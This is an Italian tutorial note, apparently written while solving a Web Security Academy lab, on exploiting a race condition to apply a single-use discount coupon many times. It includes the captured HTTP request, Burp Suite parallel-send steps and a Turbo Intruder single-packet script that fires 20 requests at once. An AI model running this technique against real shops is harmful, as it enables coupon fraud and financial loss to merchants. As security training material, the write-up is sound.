tags: Race_Conditions Limit_Overrun
Questo tipo di attacco si presenta quando è presente una sezione nella pagina web che ti permette di inserire dei dati fino a certo limite e una volta oltrepassato quel limite il server ti risponde che hai superato il limite imposto.
Un esempio pratico di questa condizione è il coupon per gli sconti sui siti di e-commerce che ti permette di inserire un solo coupon e una volta utilizzato non è più possibile riutilizzarlo perchè il database del server viene aggiornato con questa nuova condizione.
Ma se noi inviassimo per esempio 20 richieste in un lasso di tempo brevissimo in modo da ottenere 20 coupon prima che il database si aggiorni?
Questo è esattamente lo scopo della race condition utilizzare quella che in gergo viene chiamata Race Window per fregare il server.
Per farlo possiamo utlizzare BurpSuite:
Prendiamo la richiesta che effettua lo sconto in questo esempio:
POST /cart/coupon HTTP/2
Host: 0acc008b049eb0968177076300b8000d.web-security-academy.net
Cookie: session=xLc9Qg6lWnepYkgMLvQlWrj55ZF15Cm1
Content-Length: 52
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0acc008b049eb0968177076300b8000d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0acc008b049eb0968177076300b8000d.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
csrf=eYgYnTjgOT14UMg7UPsGVek6Xl45PSZm&coupon=PROMO20Ora se proviamo ad inviare questa richiesta più di una volta dopo la seconda volta ci risponde con:
Coupon already appliedMa se noi la stessa richiesta la mettiamo in un gruppo (per farlo ti basta fare doppio click sulla richiesta nella sezione in alto e fare aggiungi ad un gruppo, una volta creato il gruppo fai doppio click sulla richiesta nel gruppo e clicca su duplicate tab e inserisci la quantità di richieste che vuoi mandare) possiamo mandare decine di richieste più o meno in contemporanea in modo da applicare lo sconto decine di volte abbassando notevoltmente il prezzo.
Per farlo ci basta cliccare la freccina verso il basso di Send e selezionare Send Group in parallel in modo da inviarle contemporaneamente, se l’attacco ha effetto ogni richiesta avrà il suo sconto applicato e se andiamo ad aggiornare il browser ci apparirà uno sconto uguale alla somma di tutte le richieste effettuate.
Turbo Intruder
Possiamo fare la stessa cosa con l’estensione Turbo Intruder per capire come funziona vai alla pagina [Turbo Intruder].
Una volta entrati nell’interfaccia di Burp Intruder scegli lo script race-single-packet-attack.py che dovrebbe essere il seguente:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1, # una sola connessione
engine=Engine.BURP2) # abilita il single-packet attack
# accoda 20 richieste identiche nel "cancello" chiamato '1'
for i in range(20):
engine.queue(target.req, gate='1')
# apre il cancello: spara tutte e 20 le richieste in parallelo
engine.openGate('1')Questo script invierà la stessa richiesta per il numero presente in range come se fosse un’unica richiesta. Questa estensione è applicabile solo al protocollo HTTP/2